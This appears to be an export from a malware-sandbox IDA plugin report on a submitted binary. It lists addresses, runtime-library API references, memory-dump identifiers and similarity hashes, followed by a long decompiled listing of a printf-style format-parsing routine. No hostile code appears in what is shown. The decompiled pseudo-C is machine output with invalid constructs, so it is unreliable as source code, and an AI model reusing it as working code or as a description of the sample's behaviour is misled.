0x0042fac2
0x0042fac4
0x0042fac9
0x0042face
0x0042fad0
0x0042fad5
0x0042fadb
0x0042fadd
0x0042fadd
0x0042fadb
0x0042fade
0x0042fae5
0x00000000
0x0042fae7
0x0042faec
0x0042fb08
0x0042fb10
0x0042fb1d
0x0042fb22
0x004309e1
0x004309ee
0x004309ee
0x0042fae5
0x0042fa88
0x0043091d
0x0043091d
0x00430924
0x0043093b
0x0043093b
0x00430945
0x00430945
0x0043094b
0x00430951
0x00430958
0x0043095a
0x0043095f
0x00430961
0x00430966
0x0043096b
0x0043096d
0x00430972
0x00430975
0x00430978
0x0043097a
0x0043097a
0x00430978
0x0043097b
0x00430982
0x004309cd
0x004309d6
0x004309db
0x00430984
0x00430989
0x004309a5
0x004309ad
0x004309ba
0x004309bf
0x004309bf
0x00000000
0x00430982
0x00430926
0x00430926
0x0043092d
0x00000000
0x00000000
0x0043092f
0x0043092f
0x00000000
0x0043092f
0x00430712
0x004306e9
0x004306e9
0x004306ed
0x004306fa
0x004306fd
0x00430700
0x00430703
0x00430706
0x00430709
0x0043070c
0x0043070c
0x0043070f
0x00000000
0x0043070f
0x004306ef
0x004306ef
0x004306f2
0x004306f5
0x004306f8
0x00000000
0x00000000
0x00000000
0x004306f8
0x00430651
0x00430651
0x00430654
0x00430657
0x0043065e
0x00430665
0x0043066d
0x00430673
0x00430676
0x00430679
0x00430680
0x0043068c
0x00430692
0x00430698
0x0043069f
0x004306a1
0x004306a7
0x004306a7
0x004306ad
0x004306ad
0x004306b3
0x004306b6
0x004306bc
0x004306c1
0x004306c4
0x00430633
0x00430633
0x00430639
0x0043063c
0x0043063f
0x00430641
0x00000000
0x00000000
0x00000000
0x00430641
0x00430633
0x00430573
0x00430573
0x0043057a
0x00000000
0x00000000
0x00000000
0x004305a8
0x004305a8
0x004305ae
0x004305b4
0x004305ba
0x00000000
0x004305ba
0x0043048a
0x00430441
0x0043042b

APIs

_get_int64_arg.LIBCMTD ref: 00430498
__aullrem.LIBCMT ref: 00430665
__aulldiv.LIBCMT ref: 00430687

Strings

9, xrefs: 00430698
0, xrefs: 00430453

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 5453c7865aca921352a18515fb2be5a042f91a62945a282740ad6ff10b7c2de8
Instruction ID: 158557884213c04af75c6a1b1c39c4c62d76e5d5b21fa29bd0ac982a97090e05
Opcode Fuzzy Hash: 5453c7865aca921352a18515fb2be5a042f91a62945a282740ad6ff10b7c2de8
Instruction Fuzzy Hash: 4F4118B1D05228DFDB24CF48C899BAEB7B5FB48304F2492DAD408A7245C7389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 004204BA, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E004204BA() {
				intOrPtr _t463;
				signed int _t492;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t492 - 0x460)) = 0x27;
					while(1) {
						L136:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							__edx = 0x30;
							 *(__ebp - 0x14) = __dx;
							 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
							__eflags =  *(__ebp - 0x460) + 0x51;
							 *(__ebp - 0x12) = __ax;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L141:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00420C00(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00420C00(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
											 *(__ebp - 0x49c) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00420C00(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x4a0) = E00420C20(__ebp + 0x14);
								 *(__ebp - 0x49c) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L158;
							}
							L154:
							__eflags =  *(__ebp - 0x49c);
							if(__eflags > 0) {
								goto L158;
							}
							L155:
							if(__eflags < 0) {
								L157:
								 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
								__edx =  *(__ebp - 0x49c);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
								 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L159:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x4a8);
										__eax =  *(__ebp - 0x4a4);
										__eax =  *(__ebp - 0x4a4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x4a4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x249;
								 *(__ebp - 4) = __ebp - 0x249;
								while(1) {
									L169:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L171;
									}
									L170:
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										L174:
										__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L178:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L203;
												}
												L179:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																__edx = 0x20;
																 *(__ebp - 0x14) = __dx;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__eax = 0x2b;
															 *(__ebp - 0x14) = __ax;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														__ecx = 0x2d;
														 *(__ebp - 0x14) = __cx;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x4ac);
													__eax = E00420B30(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
												}
												__edx = __ebp - 0x44c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00420B70( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E00420B30(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) != 0) {
													L199:
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x24);
													__edx =  *(__ebp - 4);
													__eax = E00420B70(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
													goto L200;
												} else {
													L192:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L199;
													}
													L193:
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x4b0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
													while(1) {
														L194:
														__ecx =  *(__ebp - 0x4b4);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														__eflags = __ecx;
														if(__ecx <= 0) {
															break;
														}
														L195:
														__ecx = __ebp - 0x40;
														__eax = E0041EA40(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041EA40(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x458 + 0xac);
														__edx =  *(__ebp - 0x4b0);
														__eax = __ebp - 0x458;
														 *(__ebp - 0x4b8) = E0042F0C0(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
														__eflags =  *(__ebp - 0x4b8);
														if( *(__ebp - 0x4b8) > 0) {
															L197:
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x458) & 0x0000ffff = E00420AD0( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															continue;
														}
														L196:
														 *(__ebp - 0x44c) = 0xffffffff;
														break;
													}
													L198:
													L200:
													__eflags =  *(__ebp - 0x44c);
													if( *(__ebp - 0x44c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x4ac) = E00420B30(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
												}
												L203:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													__ecx =  *(__ebp - 0x20);
													__eax = L0041D8B0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L205:
													 *(_t492 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t492 + 0xc))));
													 *((intOrPtr*)(_t492 + 0xc)) =  *((intOrPtr*)(_t492 + 0xc)) + 2;
													if(( *(_t492 - 0x454) & 0x0000ffff) == 0 ||  *((intOrPtr*)(_t492 - 0x44c)) < 0) {
														break;
													} else {
														if(( *(_t492 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t492 - 0x454) & 0x0000ffff) > 0x78) {
															 *(_t492 - 0x4cc) = 0;
														} else {
															 *(_t492 - 0x4cc) =  *(( *(_t492 - 0x454) & 0x0000ffff) + 0x4063e0) & 0x0000000f;
														}
													}
													L7:
													 *(_t492 - 0x450) =  *(_t492 - 0x4cc);
													 *(_t492 - 0x45c) =  *( *(_t492 - 0x45c) + 0x406400 +  *(_t492 - 0x450) * 8) >> 4;
													 *(_t492 - 0x4d0) =  *(_t492 - 0x45c);
													if( *(_t492 - 0x4d0) > 7) {
														continue;
													}
													L8:
													switch( *((intOrPtr*)( *(_t492 - 0x4d0) * 4 +  &M004209CC))) {
														case 0:
															L9:
															 *(_t492 - 0xc) = 1;
															E00420AD0( *(_t492 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t492 + 8)), _t492 - 0x44c);
															_t494 = _t494 + 0xc;
															goto L205;
														case 1:
															L10:
															 *(__ebp - 0x2c) = 0;
															__ecx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) = __ecx;
															__edx =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__eax =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) =  *(__ebp - 0x18);
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L205;
														case 2:
															L11:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4d4) = __ecx;
															 *(__ebp - 0x4d4) =  *(__ebp - 0x4d4) - 0x20;
															 *(__ebp - 0x4d4) =  *(__ebp - 0x4d4) - 0x20;
															__eflags =  *(__ebp - 0x4d4) - 0x10;
															if( *(__ebp - 0x4d4) > 0x10) {
																goto L18;
															}
															L12:
															__eax =  *(__ebp - 0x4d4);
															__ecx =  *( *(__ebp - 0x4d4) + 0x420a04) & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M004209EC))) {
																case 0:
																	goto L15;
																case 1:
																	goto L16;
																case 2:
																	goto L14;
																case 3:
																	goto L13;
																case 4:
																	goto L17;
																case 5:
																	goto L18;
															}
														case 3:
															L19:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__edx =  *(__ebp - 0x18);
																__edx =  *(__ebp - 0x18) * 0xa;
																__eflags = __edx;
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx = __edx + ( *(__ebp - 0x454) & 0x0000ffff) - 0x30;
																 *(__ebp - 0x18) = __ecx;
															} else {
																__edx = __ebp + 0x14;
																 *(__ebp - 0x18) = E00420C00(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	__ecx =  *(__ebp - 0x18);
																	__ecx =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) = __ecx;
																}
															}
															L24:
															goto L205;
														case 4:
															L25:
															 *(__ebp - 0x30) = 0;
															goto L205;
														case 5:
															L26:
															__edx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) * 0xa;
																__eflags = __ecx;
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eax = __ecx + __edx - 0x30;
																 *(__ebp - 0x30) = __ecx + __edx - 0x30;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x30) = E00420C00(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															L31:
															goto L205;
														case 6:
															L32:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4d8) = __ecx;
															 *(__ebp - 0x4d8) =  *(__ebp - 0x4d8) - 0x49;
															 *(__ebp - 0x4d8) =  *(__ebp - 0x4d8) - 0x49;
															__eflags =  *(__ebp - 0x4d8) - 0x2e;
															if( *(__ebp - 0x4d8) > 0x2e) {
																L55:
																goto L205;
															}
															L33:
															__eax =  *(__ebp - 0x4d8);
															__ecx =  *( *(__ebp - 0x4d8) + 0x420a2c) & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M00420A18))) {
																case 0:
																	L38:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																		L41:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																			L44:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																			if(( *__ecx & 0x0000ffff) == 0x64) {
																				L50:
																				L52:
																				goto L55;
																			}
																			L45:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x69;
																			if(__ecx == 0x69) {
																				goto L50;
																			}
																			L46:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																				goto L50;
																			}
																			L47:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																			if(( *__ecx & 0x0000ffff) == 0x75) {
																				goto L50;
																			}
																			L48:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x78;
																			if(__ecx == 0x78) {
																				goto L50;
																			}
																			L49:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																				 *(__ebp - 0x45c) = 0;
																				goto L9;
																			}
																			goto L50;
																		}
																		L42:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x32;
																		if(__ecx != 0x32) {
																			goto L44;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			goto L52;
																		}
																	}
																	L39:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																	__eflags = __ecx - 0x34;
																	if(__ecx != 0x34) {
																		goto L41;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		goto L52;
																	}
																case 1:
																	L53:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) = __ecx;
																	goto L55;
																case 2:
																	L34:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	} else {
																		__ecx =  *(__ebp + 0xc);
																		__ecx =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) = __ecx;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L55;
																case 3:
																	L54:
																	__edx =  *(__ebp - 0x10);
																	__edx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __edx;
																	 *(__ebp - 0x10) = __edx;
																	goto L55;
																case 4:
																	goto L55;
															}
														case 7:
															L56:
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4dc) =  *(__ebp - 0x454) & 0x0000ffff;
															__ecx =  *(__ebp - 0x4dc);
															__ecx =  *(__ebp - 0x4dc) - 0x41;
															 *(__ebp - 0x4dc) = __ecx;
															__eflags =  *(__ebp - 0x4dc) - 0x37;
															if( *(__ebp - 0x4dc) > 0x37) {
																while(1) {
																	L178:
																	__eflags =  *(__ebp - 0x28);
																	if( *(__ebp - 0x28) != 0) {
																		goto L203;
																	}
																	goto L179;
																}
															}
															L57:
															__edx =  *(__ebp - 0x4dc);
															__eax =  *( *(__ebp - 0x4dc) + 0x420a98) & 0x000000ff;
															switch( *((intOrPtr*)(( *( *(__ebp - 0x4dc) + 0x420a98) & 0x000000ff) * 4 +  &M00420A5C))) {
																case 0:
																	L111:
																	 *(__ebp - 0x2c) = 1;
																	 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	 *(__ebp - 0x454) = __ax;
																	goto L112;
																case 1:
																	L58:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	goto L60;
																case 2:
																	L73:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L75;
																case 3:
																	L135:
																	 *(__ebp - 0x460) = 7;
																	L136:
																	 *(__ebp - 8) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx = 0x30;
																		 *(__ebp - 0x14) = __dx;
																		 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																		__eflags =  *(__ebp - 0x460) + 0x51;
																		 *(__ebp - 0x12) = __ax;
																		 *(__ebp - 0x1c) = 2;
																	}
																	goto L141;
																case 4:
																	L66:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x470) = E00420C00(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x470);
																	if( *(__ebp - 0x470) == 0) {
																		L68:
																		__edx =  *0x43de98;
																		 *(__ebp - 4) =  *0x43de98;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
																		L72:
																		goto L178;
																	}
																	L67:
																	__ecx =  *(__ebp - 0x470);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L69:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x470);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x470);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x470);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x470);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L72;
																	}
																	goto L68;
																case 5:
																	L112:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L114:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L117:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L119:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				__ecx =  *(__ebp - 0x30);
																				__ecx =  *(__ebp - 0x30) + 0x15d;
